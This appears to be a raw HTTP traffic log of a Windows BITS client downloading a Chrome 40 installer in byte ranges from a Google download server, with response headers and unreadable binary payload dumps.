GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=77230-121420

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 44191

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 77230-121420/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
....W.....P...'..}.Uf..^(..(RU.>.M^:..i..W..G.,.....p..2.T.\WC.F...
4....._.a.J?........X..3.g.....G.- ../]Z2....a%.b.>...*...|0..n...i
.[K......V.Y3.yQ...T..D..g4....m{k.......^.e.[."AU.......Sqj>."..8M
.^'Y........~0)2.c. F...v......|...&..}.vd......9..H.6..==r&.u. .D.^o;
qY..d....n...E.A.../sK..`...67..t....1sD..'2..h,...!.W.2.*~..[RPX( 8R&
..E...h...k.w^.V.`.).>..Sp9..7..}...6@.`.~..y....s....#..`.~.;..Y;h
u...V`v...0<......f^K9..N..Lr.mh.^=.... -$.=..l.K......"...2......?
*`.A.(.)..,X.J?S. M[>.....).8~....Z.....&........v...9...m..3)..D..
..r|v..Gs.k...?>.3,.]...<e....7.7A.N....G . ..3A..-~W.3....5....
....Y,.R/.....z.B............X.......`........}.....R..<\"g.a.... .
.H....?..... ...#.^...o.....k..*#..#....\%.......w.{TCf.O.V..U*....f..
[email protected].. ...f..l.V(g...!>.i"b..$...%`.U.r..#.......k<.p.^..
....C...0M.`<.=................"d.,..u...?Q.#..9....N ...L....#...7
...P...........B.Y.?...qb...5.p.............i..H...pxz-K.)D<.V.2. .
.R....EWt.M.........u%.p!-....5.b!v..#.08.|.Y...d..-....R`.......a..y.
....7!3...Xs&o......u.53I^..[u.5......dL.....x..........P..|...8X..%.B
.8..W.*.K..0.H.........'......Jk/.`.rH..6.5..0.}S.Gb(#....)...Pj......
.Gd."..^T.....>...qD{]HV..T..`.... .)Wp...x...1.7W.'.!...,..X.7...O
....2.-^.v.LA.$..........iS.. u,...Qu/%J... .:O..e....2......P.....]..
..;.Y...,.14E...az. ~'0.<.iPW..5....\...W.k......K.%.j.....a..P.X3.
.8.J.........Iq...f.$...*E.Ot3|.....~!t.2ts....H....EM^.v...o.....Y...
...m..zN3...8t..u....=.Q>.9.\fy.V..x..L .;[email protected]....?
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=121421-211856

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 90436

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 121421-211856/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
......r.....L]...Nd.......}&:m.:[email protected].....
!\w.g..........:P...M) P..qr\.....Ea^...N1s@?..........[..h...h...Gwg.
?KhE..V.t.\;..Y..b.:..94...#m#..[[email protected].&.....2.;.E..
..u..a....,.x>......."...5....yv...Q.Ou5x.n...\........t1.\..?c:z..
...R.e....Xz?AOp.`.q....3/.<s0.s&Ws....7..mU5Fc..V.^.J...<j... .
...;...8W.....X.....I...\.....n.........e.a$.~.....To.4.nH[..X...}j;r.
:.....&.K........h5(z....1...c.. .%l.....=..<bV..../S6w.....n.....~
..`......1.....w7..,84.2.X.d../]."jm'*g).S3....[T......?...W.....Q.8.a
By.;....=..6.....Uj..5.....6.]m@.,/Q..ww.Gd!4V;.........[...%.....1X.9
......*#5.....B.&...y<*9=O..:Tk.MTg..]..C..C.7H.Xd.....At.w.u..:w.o
[.64J..*Dc$...W....%D..q.5..7..;........{.5.8!cP.X..2.....$.y&....V;..
.F..qJh..O6....R...:B..v(."...z.......}{........U.2.b].....Ka.....q.).
....u....U.......M...$-..e/...o.........tR:...t..................[... 
..6C?.z]..R........y..?..:4...F...j.R9.;.....aj.\g.:B<....8.......z
.D...3..^h....g...:.<b....$26;..vp. .LaD.Q....^IeOe...%...g3..#....
.(...0..;.&..,h..M.".........T4..*..8t.f&.b..N............z... ...~...
UA........O1.~.6.2...<.d0.....P.1..".Vf.'\=..B.Gi......_.0f..y|.qH.
 ~...kH..e7.m...IHOP.s.B.%....MT...1......*.I.>1:.....PR7Ku...m\.._
.4jr..CN...~.p.R..[.*..q.9..TM:.9....%)..u(D .}.......M..V.P.5.Y..Hw..
........C[xmFO{......'...qe../..cY9'.<z.v3.fL.O.a ....)F......(..~.
..R.*...8`..ElS.&k..8..a....|..-......GJ../}h5e\..S ....s....wY...a...
8Dlw..t.N{\.......d...>.......M.X..eIQm..`......d6Uu.......)..?
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=211857-394019

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 182163

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 211857-394019/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
."....................32..\;..(..P..~...G;.....\.7..%d..(zL.2...$#w.^.
b.zt.H7w..}>...."....t....Kx.gb..2A....[....`.O..A\.Ag.b......zE.\.
.(.;.b..U......(*9k..........Y.N!...Y..'.6........tI.^7..mK.O....PDA.!
...j....8|..:......O.g.i..3.....b.e.q_.F.\...GJ..3...m.tN...$.d`.I..A.
-HA.3..(..LXd.".(9.>,>.G"Y.........z.r...0=.......:....cl.....d.
L(....'.m.. ?..^.0.&...... .}...2...QV.M0.X*[email protected]....'N..|...#.N..'
C.tz.m....#.j'.........q-...<5/.O'..Tf.x.....|... . .~.//[D~.i*...7
..y!.<v./....C.....x>4...a~zc....n..!.'..'>.o...".....t/j...1
[w.....l. h...6a>..B.s.jR....@~.Je....a.=.&A...OMs..{.&......-Z.!..
....F..Q..(.D...7.,....8./.p..b............s.......fk..o.nzb........o.
yr..s...... .X..!.|..bl.......Pr..f5a.....9p.Sr{..)1......:..H..k...U.
...z...]^...#X.*....da.#....... ........k.BR..z.h..a.I...O......v?S...
X..BURAm8.w...8..B*3s......w].][....^...%..[~..........t.,q..X(.L....G
gW.Fr.........3.".lcBb.D.g./..}lL.....L(.7.....fR....yx..oU....Q.._...
-J......./...l..[..4.d3*[.[.I.X........P.}).W..j...D`9.(Z?.w..Th..l.."
>#[email protected]<...D..B.3...N...s...m.
v.DP.b.WHX......<........2..5%...z.w....R.J:."Y......c.f=M..FRd.i.-
."..<.......D......... n...... .......m.ud\..%w., G...I....jV...;..
.B.)....D5[{G..9lT..V...J.9.......,.$7..<...=0...p....wh.> ...M[
#.cz...v.t.;...............36..............E...A;.m'X..$...H.|..3.....
.....B$.;..s.6....9....c./....... j..f..t.../...z...u?2....D.ec..Z(0.k
;p*.......;...t....&w"...`2x.f?b.B.=....H.w.e>..........H.S.^..
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=394020-757390

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 363371

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 394020-757390/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
dQ. ...7....V._XNv(.......lY)..l....x...M...T..b_..l.T...P....<....
U. ..9..Bx.S.........F...\;....R..Bg......u.D^qK.<=.....t...VI. h..
.M...q....M.p<...g...o.=...!!.B.'.......I.x......I....2N.j.M.c3...S
K...|x.p.....y&-E.V........U.G7.JG........G.9......Y.|.......Ad.;P.c0.
.P.........%.F.e.a#..1 .....Z5{.c............m....yz..! ...1.`_.8..L[%
.....'...;.j=$.....6..%.v....F....f.LA.Dl.Nw...&.?.&...b..L(].....x...
...<m;...DL..}@[email protected][.K...\#..;......l.=W..)..H.... F..C.......
.../i.pk..4...;......?..u.......'....,v..f!E[..1q...S......,'..6O.....
..%.g..E.c. ..j...*EG.:|......R[wo..q.|T..L.E[.......4K6.`....v... ..:
...../.. ..[A..G....Ns....|...V.3f...r..J"|./...E...%...... M......#..
.L.W....@.. .......a.m..*..q.....U-C.o........#:54.".T$.......J4...0.@
.V...-..v.`..Qb..J.B........en:.@#.c...BK..[]..?..T\2m=w.sB....O8-O..1
..Lu..M....O>.}.._..voxM..k7.0fN1.>..L.}.$.....\.....C v4..;....
!38.}J[.9,....$r.^..z-.)[email protected]!.r....i..vTW...ciO...P..
"...[q..B.k...f^(.. .W.}..)....#...(.%.BPJ..*M....q..#....uBRq._......
?.y....$.F.=....2f.[t....&.6..;[email protected]..../..H..=]...........w?.X
...5.N<.P..c.*Z9..w..&MJ{.W.7.o...K.................4....0l.~BHe.P.
]..Y..Y....5hY$..._:...%....DM!.A#....Ovo3M3..D...}x......o..M\.Mb...X
%.!N.4..`0P^.bt.X;.....b.c..Q.....M."T8...y.E.'h.C.@@.CU..S...s.]#.N.*
.....Z..._l".......a..2f.......0........F.....A.......!..OT....W..U..s
hp...v{..V.C......dK.J..$..Qs!.. ...e.C..I.................(.....:.|..
.v..Nq........4..|.......;P......U....q....Wm.i.7.tm.Hb;..p..0L..Q
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=757391-1479762

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 722372

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 757391-1479762/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
g...#i...{....u.....4M.n.i.&d..s].x*.AU.\..Z.1.....tt.....O...7.......
L....W.'.X.....kL....t.....M;..^..^z.....$.r......t...&$..~..Q39.8..z.
...L...['..Z.PD...........0.........^.W=.o.pl..,.v....o.....a.YB;.....
..Z...@'...%..k..0.)........N*x...P..G#.\y.].k@u.. ...c0E.....&..."...
.C>.,.=W..HX...:.......H. n.........b..2..#....{.^.....=...Bx.. w'v
. "!lIuV*y4..p}H....q5..Lyi3.g........T.&.L4 {)....At}......eZ..r...r7
.K......9.W<..{....P..c....q.f^x..`..R._%bh3:..-;.....rOr.....w....
....._...(.>......(...z........Y.|.6.J..EA.. ....L... ...Q.....X...
...\..U.&. .|..k....[..k.w-........\....v.p(/.....7...f...#E-.9|&...H.
:...i=...S..y.Hl...].tT...b...B....,!..}.K ub@..$..A.D.P..(..?"E..^..p
...s.y....sP)#[email protected]..%q.....D........fc8....n..H.j.........
F.g#N..sa;o..p..P..X.....%...$.Y5.'....l.F.*..l .b..F..e=u.E..t..}.*.Y
N.......Kc..a...K.k...d..I5VrP...%o....TD..I(..........cB%....rL..q...
.."4,..` }..6!,-.... ...H....."......t./.M.....=....%.....@^..T.A.....
.mq5.....jG.]...KhL:...#.Lr..KWp.K..Z.f.l.....y.w.kv.X.~.\FO|e.%Fn....
..m....E..U............p..]6..,S..6....l.2;.*h..Z.)i..<..V......u..
.>...C.....6l..A.q....f...X.J.~.1^x R<...Q...yX.,.......@\;J9..?
<#d.U..p.4..lP..`....sN..B..^.&.....O..(.I....;...e&.....Kv2.4b...=
o..k...H..! ..w..?...Y...<.V../^.q.,.....:..Y........~|x".....60.~L
.RK....0Q.........L..vJ.).....8g:u!.".......N..T4.Z......_....{....=..
kd"[email protected].>@.....r.rju&n"..z..1R2H......^L^z...../.
,....sM~..la.`K,.n....:.|.....q....=4d.,.$..%.9.....s.e\S.O.....:#
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=1479763-2922111

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 1442349

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 1479763-2922111/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
.O:N.._...Y...<,..X.5..K.$.%.l....5a.05......iKa.1...{&.......R.q'.
`..[..4P.X...^.....&;..Th\t.78. 0F=].p.P...4X.[M... Lu.. .4.p...,.GV..
...........~x-.8.d...M....E3C...0z.........;...i..0...........3..A....
_.....6.x#.....H)...uu.!. ....T:. .;....O....4..)...E.?...Z...h..i....
....Z....m ...;..r...[(....}....zH..1..yP.]t|.-...........4.#.1.W.P..?
k...$6. .G..T.g:..\X.h8..w.kj.b>.x..5..Wc ..V.....;4=y..$....,.n.1.
..z....8o..w.._..x..T..*;.P.lY......w..*x2..|.....I...&....i7(Sp'S...P
S..[|.8...Y.[.(...r..D.ms.....0....C...J..ML.<...}LD....`A...A..8..
.1a........c.A.h..O.n..1f. .......)H..*...r....`.....f..oh5.....N..(.&
lt;........iW.p:.7W.['......@}..w.....I.....Y.....]3.E.......l...q%...
.~>k...e ~"...m..C1-.F..v.bo4.......K...... ..v..ht.lL.!2...7......
....i...d.......!2..)......#.4.$7.....I).. ..T..S%._.D.......f>B;MH
....I.k..?\....1d..|..k[...0.D.....%e....E.S.B|...)..Ae.O0v..M..C....m
....R..U.5..|...|.m..K-...!~~..f..Fr....DD*.G..h..........[........!^.
...0/...!..O..4.#N/..DO...p.OM....;sR.L....z|.G....8..!V.)...B..u.m...
~mi.......^y19_a.?..E...!.4H../...Gf.US/.)...v.....V.......\b._.M..3..
R.>U}.V.F.O..(G.<..:...P.u.<..0....8O".....m.m.....`%...\....
.x...g...J4."..:..jk80.S..A.]..c_u...F!A~..et..A..N.....#.N......./...
...W.r...K../.L........... ..?a4.......(...<<...V.]/...)W.qk....
...}r.E.&.:....HP.;.E..pQ.h.z.p...f.Z...O..?x.sAA[..Q.M1.......t......
........o.e..e2..FU...1@=....\v(.a.Gb6...-..5T..#l'.#..m6C..M...}E....
5F.....u......D{N4^..k...O=.]v.....f...{.......$2...x*...2......-.
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=2922112-5804196

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 2882085

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 2922112-5804196/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
[mUV......."...vE..).l.x..D..O. ......Y.v...........i..............Z..
......Ig...Ieh......P..A......:...'.s......f6.Z.....C.....3B.VA......u
....#.....Gu..........Y..Z.....b.......z.^.......h....d..b..B.u.L...W.
*.C.r^.....maY.>2r.>....fxQ.. U.N.......n....0.........5W... ...
.'.k ..#.X..}....V....YJ%.....NK.........v.9.......h.g.V...]~.HD9.K...
.z.......O3&....)JK......s<.g{.o.m....d}.VF.1fTxg..........q.t...Lx
.....:.t...7..9...'t..%qW.....Rk...8..: /.tvo.!.m..L.Sd...8.i.F.w.ES..
..).......RA%..t..Y..9....%..g............P.. &....(.....~..V]B~0...`"
..P....c.f.5 ..&.7...W.....d.d0iz..L...r..Y.f2.....W..E....7...3F.i..z
.....2~.i...!.e........c;.T..7d..yJ..N.O.....X..4../....3.F..<.....
.L.y.....Y.or...1:.k.._............E...>..8T.DhiO......L..>K...J
/....Q....gD.S...O.............$r..u....}..s.. ..\.c...`.m......m\w...
.."...?.C.'..J]r..=S#C^....M..2....""`.....&.....:/*`.W))...S"........
..0.?:.....L..*?.....I....q.#......-.^..6..U..."rV.....-.......:......
..f.&../Jw..9.$'.<...D.m`E)..`'L}...ZE.y....6n......".&S.. ..#$....
.h....!....A...W.OQ....d...R!.?-,.....,F.......C.d.#h..K.r.{!m. ....l.
w/v..E......,.....W.VE...H...z.%... O..5-..L...f.....l.......Ry.%R.#..
..U...c Y.....^3.U...e.....m.M.b.u.q2>...Q}..V..... D..._$....3v...
P$T$eu..~.c.(...v.N~.....5.,.1~.........1A..."...(.p..w..9.4.T..u....\
2.C.z....k..A..U.|.gLad..|".....'/j..P;....t.\":.......YK.....\...x.*.
...9..=...$_.K..y!-V..................9Fx... w...Zbcx.@...!....~/y,.w.
..w...L."... X;cAG...u...wC.N.G{ ....?..&i..c..{',..|.h W/.....)..
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=5804197-11576079

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 5771883

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 5804197-11576079/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
I!..xf.&........f.:........V.XT........^..., .E.a.c..{.. K%..G=.i\...U
.R'..q..**^.'.Ys..T.\...V...Fz!......h.......9...M.0v!.n@^.{[email protected].
.u..|wS.. ?.|"..R.r..&..,......n......[..X1.....<..y.....8].R.2...Y
.c.aIi..[6{s.;.-.V.....`.}.u........&.#. ...yt......!..W..6\T...-..|..
.*[email protected]..'.6%%.}.m-....._..)S..Z...!M$...l......}u..2..F
.k.[..Q....=..........q[....VDB.?...`.I7%C$@![[TI..i..P.{.}.I.7XA..I..
K.............5...c...C,..[.t.I.a.Px......x)..........V...El....i..l..
....&......... #..j.%'....V...^IX..:...p....oP.K^..!Gk{w.B..b...e..,..
.PLeF...."J..).t.%[email protected].....!.k.6.r..`W..K..
\...^.l...2\.6....3L.....Ym ....>u@d-}G'#_.......B......lp|X.... ..
TTF?...z.k....d...A........T...4^.Q.... .....:.;..j...z.y.9./..tW...HP
C....`....d.....Y.R...Y.^.ys.k.;....!..I.0dla/l...]...b.P.....wk.1....
...b.h...t.6~ScPF#.....G......s.H.p...U.S t......3 ,R{.U..~...(..h/...
.....bs...wh...)....[.D9M...^t#.=..M.v......re..8;S%...K....e......d.;
..C~ ....{.2.0.....\.].......1u~.A.....Q_..)[email protected].... 3
...PJ..DZ.=>.......}.]...1X. ......I.VH..........$j~;.&....a.xt.p3.
..\.Q..0...ReK.Dg\..c....~.;.....0.t."..wiR. ....I.......j....{....:.D
w..w."|6......G..UD..U."(..p.3.#.#.....9.J.{he...=N..[^......aI..P.m..
$..AP8 .. l.....O.......Z.k.6..x...S.j~.OY.....s-../S.X.......5)%^....
4..8..._...Iu'k...a"......&..9..!3}0...Q....ev..7.>s..9...`s..T...C
.h$...M......r;....H.x^h....s......j_u....d^.a.~......O.R..!.#....y..w
[email protected].%..].W....>............K.9%.o
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=11576080-23134667

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 11558588

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 11576080-23134667/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
/....2-0....Y.3..Y......$.K..q,...A.|8.........6..:......dD..j......U.
....%..A<2.K...{K..~..s...!..a7pl.5".r4....F..G8...3`.S..[.v.o....w
v..Y.....Iu.<..w.....R.Q>...NU....*....J=..k..s..w...O.*.[.1])F.
@...<..9.~...l%.o.D.|f.....o2.......=.W2.7.8w.......Po.j........K..
.C.sy..Y,#!.r.m..;.\..j.....M&..QP.v......p...r.UZ.\R7..#..yl.....X...
=$..j.Q...-...l.77w...........4....../.k1.l..ZVN......,...C.:...*....u
.f.d....#.D..Y!..."h.......c..l.M..r{.A...r.........8.....55.......CT.
/7>.n.....F.......t...lr[.......X.}...qk6......c...............Y)..
..O.&.J!..TD.9.....%..m..4..k....P.U..... cY..%....L.......p...q=Z....
.!.;...:.?#`.l......*.=3/^.U;....(.X.Y.0.CZ,.pv..=l.1.1.n...h.*...<
...m.d.Q>*....L.B..|....i...qk!..Y......q.....ZV.....0K.W.....'...P
.......t...p.'.K...s."9.....l..*.Kp=_W..Q....Y.)..a...^;..J.xA.....z..
:..jl'a..}!Nkg.C......|.m..a.6:8.o.......L.7.zC.$T..A[.N.nh..?..0..H..
..E0.......!xM&........"~.v..(B..Y.B....?%....W........#...iXl...hyc..
k.x..`K..U....1^.....J... .&...A7..B..D.W.n..M!..5.........z.'u.sP....
.....mk.C.. ...G'... -..xK......SF..c...6S...O..3..../.....Y.,.K:....P
*.....Z.....N......o............p..........U..?x8..#....A$....sW4[\..k
.....f^.#.........{./..l..~8..&h.k...kc..J.9...~......d\.2.../.nv...2T
....[zz./.l..O.#..p...O.%L.p...#...5[..8....%[email protected]..."qT..C.Xe..
i..|Y.Jn.._?x/..a....................?...p....x!...V<...L])|..U.cy.
...b..)H.J......)..H.;.s....Y../Q/...B......a.=.......EU...5.t|...3..?
../.?.y.n...0..|......K.... W.B..jZ....j..9.%r%.WB.....D>......
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=23134668-38303771

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

